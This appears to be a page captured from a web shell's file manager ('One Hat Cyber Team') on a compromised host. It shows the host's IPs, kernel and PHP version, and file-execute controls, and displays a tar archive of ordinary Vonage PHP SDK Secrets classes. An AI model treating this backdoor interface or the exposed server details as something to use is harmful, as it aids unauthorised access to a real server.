One Hat Cyber Team
Your IP:
216.73.216.30
Server IP:
198.54.114.155
Server:
Linux server71.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
Server Software:
LiteSpeed
PHP Version:
5.6.40
Create File
|
Create Folder
Execute
Dir :
~
/
proc
/
self
/
cwd
/
View File Name :
Secrets.tar
ClientFactory.php 0000644 00000001372 15111061450 0010020 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Secrets; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Basic; use Vonage\Client\Credentials\Handler\BasicHandler; use Vonage\Client\Factory\FactoryInterface; class ClientFactory { public function __invoke(FactoryInterface $container): Client { $api = $container->make(APIResource::class); $api->setBaseUri('/accounts') ->setAuthHandler(new BasicHandler()) ->setCollectionName('secrets'); return new Client($api); } } Client.php 0000644 00000002276 15111061450 0006474 0 ustar 00 <?php namespace Vonage\Secrets; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Entity\Hydrator\ArrayHydrator; use Vonage\Entity\IterableAPICollection; class Client implements APIClient { public function __construct(protected APIResource $api) { } public function getAPIResource(): APIResource { return $this->api; } public function get(string $accountId, string $id): Secret { $data = $this->api->get("{$accountId}/secrets/{$id}"); return new Secret($data); } public function list(string $accountId): IterableAPICollection { $collection = $this->api->search(null, "/accounts/{$accountId}/secrets"); $hydrator = new ArrayHydrator(); $hydrator->setPrototype(new Secret()); $collection->setHydrator($hydrator); return $collection; } public function create(string $accountId, string $secret): Secret { $response = $this->api->create(['secret' => $secret], "/{$accountId}/secrets"); return new Secret($response); } public function revoke(string $accountId, string $id) { $this->api->delete("{$accountId}/secrets/{$id}"); } } Secret.php 0000644 00000001703 15111061450 0006475 0 ustar 00 <?php namespace Vonage\Secrets; use DateTimeImmutable; use DateTimeInterface; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class Secret implements ArrayHydrateInterface { /** * @var DateTimeImmutable */ protected $createdAt; /** * @var string */ protected $id; public function __construct(array $data = []) { if (!empty($data)) { $this->fromArray($data); } } public function getId(): string { return $this->id; } public function getCreatedAt(): DateTimeInterface { return $this->createdAt; } public function fromArray(array $data) { $this->id = $data['id']; $this->createdAt = new DateTimeImmutable($data['created_at']); } public function toArray(): array { return [ 'id' => $this->id, 'created_at' => $this->createdAt->format('Y-m-d\TH:i:s\Z'), ]; } }